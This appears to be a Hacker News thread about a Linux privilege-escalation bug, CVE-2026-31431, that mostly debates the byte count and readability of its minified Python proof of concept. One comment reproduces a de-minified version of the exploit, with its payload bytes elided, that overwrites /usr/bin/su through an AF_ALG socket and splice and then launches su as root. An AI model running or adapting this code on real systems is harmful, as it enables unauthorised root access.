[smlacy]

The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.

Looking at their source code [1] it starts with this simple line:

import os as g,zlib,socket as s

And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

Anyway, I could go on. :) Let's just stop fetishizing byte count

[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

[vitus]

Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.

If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.

We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.

[tptacek]

I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.

But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.

[tylerni7]

yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.

But the bug is real and people should patch :)

For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")

[debo_]

I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.

Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.

[layer8]

> I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.

From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.

And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.

[debo_]

Again, I think the point is that compressed size is a reasonable measure of the inherent complexity of a program. I'm a crap mathematician, but I believe that is a fundamental concept in information theory.

[layer8]

But it isn’t compressed size, the compressed part is only 180 bytes of the 732.

[debo_]

Ah, got it. Thank you.

[refulgentis]

It's just lazy AI* writing w/0 editing.

"Just" is doing a lot of work there, I'm so annoyed reading it.

It's like an anti-ad and they had pretty cool material to work with.

* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)

[bonzini]

Completely without editing, to the point of hallucinating a RHEL version (14.3) that doesn't exist.

[tjbecker]

I recommend reading the technical writeup https://xint.io/blog/copy-fail-linux-distributions

[internetter]

Technical writeup is also slop I fear

[xmcp123]

Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.

Assuming AI was correct, it unpacks more or less like this

import os, zlib, socket

AF_ALG = 38

SOCK_SEQPACKET = 5

SOL_ALG = 279

def hex_bytes(x):

    return bytes.fromhex(x)

def trigger(fd, offset, patch4):

    sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)

    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))

    sock.setsockopt(SOL_ALG, 5, None, 4)

    op, _ = sock.accept()

    length = offset + 4

    zero = b"\x00"

    op.sendmsg(

        [b"A" * 4 + patch4],

        [

            (SOL_ALG, 3, zero * 4),

            (SOL_ALG, 2, b"\x10" + zero * 19),

            (SOL_ALG, 4, b"\x08" + zero * 3),

        ],

        32768,

    )

    read_pipe, write_pipe = os.pipe()

    os.splice(fd, write_pipe, length, offset_src=0)

    os.splice(read_pipe, op.fileno(), length)

    try:

        op.recv(8 + offset)

    except:

        pass

target = os.open("/usr/bin/su", os.O_RDONLY)

payload = zlib.decompress(bytes.fromhex("..."))

offset = 0

while offset < len(payload):

    trigger(target, offset, payload[offset:offset + 4])

    offset += 4

os.system("su")

[embedding-shape]

> I would absolutely never approve review of any code that used this.

How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.

I always thought code quality mattered less in those, as long as you communicate the intent.

[Xirdus]

If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.

If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.

In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.

[nvme0n1p1]

> as long as you communicate the intent

How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).

It would have been less work for everyone involved to just release the unminified source.

[opello]

While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.

[tensegrist]

llms love that though

"The honest solution: a clean 50-line cut" and so on, ad nauseam

[rts_cts]

I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.

[infogulch]

While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.

[flourflour]

You're supposed to add "as a senior engineer" so we know you're 3 years out of bootcamp and can program in 1.25 languages. Or "as a staff..." if you've given an interview, know what 'make' is ("it's a command!") and are willing to do absolutely anything for the CTO.

[fragmede]

> Anyway, I could go on.

Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?

https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...

edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.

[Banditoz]

>...why shouldn't we enjoy how small you can get it to pop a root shell?

Because I want to know what the exploit is doing and how it works, and if it's even safe to run.

A privesc PoC is NOT the place for this kind of fun.

[akdev1l]

Agreed lmao the PoC itself looks like you’re getting attacked

Which I guess is true but I would like to verify the attack is the intended one

[ok123456]

This is pretty legible compared to the 90s C rootshell.org exploits.

[john_strinlai]

>As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.

lucky for them, its an exploit script, not enterprise code.

all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.

edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming

[StableAlkyne]

It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln.

Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.

[john_strinlai]

agreed regarding the RHEL version!

i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!

the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.

evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.

amazingly HN-like to be upset about a variable name

[akdev1l]

Disagree because to run the PoC you really ought to understand what it’s doing.

And this code is not readable at all. It is failing at letting people confirm the exploit easily.

[john_strinlai]

>Disagree because to run the PoC you really ought to understand what it’s doing.

that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.

>It is failing at letting people confirm the exploit easily.

it confirms the exploit incredibly easy. just run it, and you get confirmation.

[akdev1l]

what the blog says and what the code does are two different things.

For all I know the blog itself is a honey pot. I need to know what the code does before I run it.

[asdfaoeu]

I don't anyone is saying it's not "enterprise" it's just that they clearly went out of their way to make it less readable. By all means advertise the golf'd line count but just have the non minified script.

[Xirdus]

I'd imagine that at minimum, the team in charge of patching the vulnerability would need to review how the exploit works.

[john_strinlai]

id imagine that they received more than just the poc in the report they received

[Xirdus]

That doesn't make reviewing the POC any less valuable.

[john_strinlai]

what value do you believe renaming the variable from "g" to something else provides the linux maintainers?

[Xirdus]

It makes the exploit code more readable. We all love to laugh at C folks but for real, even Linux kernel maintainers care about readability.